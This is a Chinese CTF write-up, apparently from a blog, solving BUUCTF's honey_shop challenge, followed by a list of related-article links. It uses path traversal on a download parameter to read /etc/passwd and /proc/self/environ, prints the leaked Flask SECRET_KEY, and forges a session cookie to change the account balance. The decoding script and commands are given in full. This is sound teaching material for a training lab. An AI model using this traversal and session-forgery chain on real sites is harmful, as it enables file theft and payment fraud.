BUUCTF [PASECA2019] honey_shop
BUUCTF [PASECA2019] honey_shop
考点:
- Flask中的Session伪造
/environ
记录当前进程的环境变量信息/proc/self
其路径指向当前进程
启动环境:
是一个蜂蜜商店的界面,有1366
美金,想要购买flag需要1337
美金:
直接购买提示金额不足:
猜测可能是传参时存在金额参数或者cookie中,使用BurpSuite抓取数据包:
其中item
应该为商品序号,获取到其中的session
:
session=eyJiYWxhbmNlIjoxMzM2LCJwdXJjaGFzZXMiOltdfQ.X-AP4Q.H4cz1rTUdylFbcil9brUNQuyDFI
使用Python脚本解密session
:
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decodedef decryption(payload):payload, sig = payload.rsplit(b'.', 1)payload, timestamp = payload.rsplit(b'.', 1)decompress = Falseif payload.startswith(b'.'):payload = payload[1:]decompress = Truetry:payload = base64_decode(payload)except Exception as e:raise Exception('Could not base64 decode the payload because of ''an exception')if decompress:try:payload = zlib.decompress(payload)except Exception as e:raise Exception('Could not zlib decompress the payload before ''decoding the payload')return session_json_serializer.loads(payload)if __name__ == '__main__':print(decryption(sys.argv[1].encode()))
获得解密后的值:
{'balance': 1336, 'purchases': []}
其中balance
应该为当前余额,purchases
值为空
首先想到的是伪造session
,修改余额,所以需要SECRET_KEY的值
尝试了没有报错点,这时候发现了一句提示:
*click to download our sweet images*
可以点击下载图片:
其下载地址可能存在任意文件下载漏洞:
/download?image=3.jpg
使用BurpSuite抓取数据包:
修改其image
的值为:
/download?image=../../../../../../../etc/passwd
发送数据包,得到/etc/passwd
文件内容:
可以成功执行,尝试访问Python环境变量:
/proc/self
// 其路径指向当前进程/environ
// 记录当前进程的环境变量信息
当路径为../../proc/self/environ
时,得到回显:
得到了SECRET_KEY的值为:paZgTFQpDx10dFWGD8plBlHMJfusFaelmpM3BG4m
使用flask-session-cookie加密脚本Github地址:
python3 flask_session_cookie_manager3.py encode -s "paZgTFQpDx10dFWGD8plBlHMJfusFaelmpM3BG4m" -t "{'balance': 1338, 'purchases': []}"
使用BurpSuite在购买flag时修改session
的值发送数据包:
得到flag
BUUCTF [PASECA2019] honey_shop相关推荐
- [PASECA2019]honey_shop
[PASECA2019]honey_shop 进入题目后如下所示 我试了下,能点的也就是一张图片还有可以买各种各样的物品 这里我们能看到我们的金额只有1336,但是flag要1337,差1块才能买fl ...
- BUU刷题记录——5
October 2019 Twice SQL Injection 由题目名可知为二次注入 username =1' union select database() # username =1' uni ...
- BUUCTF的Web真题学习整理(一)
目录 WEB1-WarmUp (任意文件包含漏洞) WEB2-高明的黑客(fuzz脚本) WEB3-easy_tornado (服务端模板注入(ssti攻击)) WEB4-Hack World(时间盲 ...
- BUUCTF寒假刷题-Web
前言 寒假横向刷题(尽量) BUUCTF
- BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过
BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过 题目 后台PHP源码: <?php include 'config.php'; // FLA ...
- BUUCTF刷题笔记
BUUCTF刷题笔记 [极客大挑战 2019]BabySQL 从这句话我们可以看出,这个网站的后台是做了过滤处理的 这个时候我们先用万能密码实验一下看看,是什么类型的SQL注入 输入1',看看返回的结 ...
- BUUCTF Quoted-printable编码
Quoted-printable可译为"可打印字符引用编码",编码常用在电子邮件中,如:Content-Transfer-Encoding: quoted-printable ,它 ...
- BUUCTF NewStarCTF一些新知识记录
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一.eazyxor 二.RSA_begin 三.Yesec no drumsticks 四.EzSnake 五.Pyre ...
- buuctf Mark loves cat
buuctf Mark loves cat 打开是个静态页面,源码也无任何有用信息 dirsearch扫描后发现.git泄露 GitHack.py下载得到两个php文件,接下来就是代码审计: flag ...
最新文章
- LeetCode 题解汇总
- 全球及中国1-氯-3-乙基苯行业发展规划分析及市场前瞻报告2021年版
- xp系统oracle数据库,Oracle10g 数据库的安装基于windowsXP
- KVM虚拟化查看虚拟机IP
- 分布式锁实现原理与最佳实践
- C语言中动态内存分配的本质是什么?
- 【Java】JDK1.8新特性Date类----日期/时间改进
- Win10 安装 Linux 子系统
- 诹图系列(2): 堆积条形图
- Au 音频效果参考(合集)
- js中鼠标事件mouseover、mouseenter和mouseleave、mouseout的区别
- 操作系统课堂笔记(4)进程管理之多道程序设计和进程
- C# wpf ScrollBar自定义音量调节样式滚动条
- 使用 Sqoop 将 30W+ MySQL 数据导入 Hive
- PointFusion: Deep Sensor Fusion for 3D Bounding Box Estimation
- 计算机中堆栈的应用举例,西门子S7-200PLC中涉及堆栈操作的指令和梯形图应用实例...
- 转: 云计算openstack—云计算、大数据、人工智能
- 文件IO编程之学习总结
- “2012中国年度天使投资人”蔡文胜:彻底拥抱新趋势
- linux系统上insar处理流程,insar的软件-gamma.doc
热门文章
- pandoc把latex转为word
- springboot 电商项目
- 视频教程-React Hooks 案例详解(React 进阶必备)-其他
- 今天母亲节,我做了三件事
- 批处理使用 *.bat 文件启动 Vue项目(Windows环境下,代替手动输入命令 npm run dev等)
- c语言循环次数控制,3 C语言 流程控制 循环 跳转
- GPT-3核心成员出走打造ChatGPT最强竞品,估值50亿美元
- 【Windows系统优化篇】谨慎开启“来自微软输入法的启用建议“功能
- 人工智能+音乐的探索:从洛天依到小冰初窥歌唱合成
- 西西html编辑器,xhEditor(可视化网页编辑器)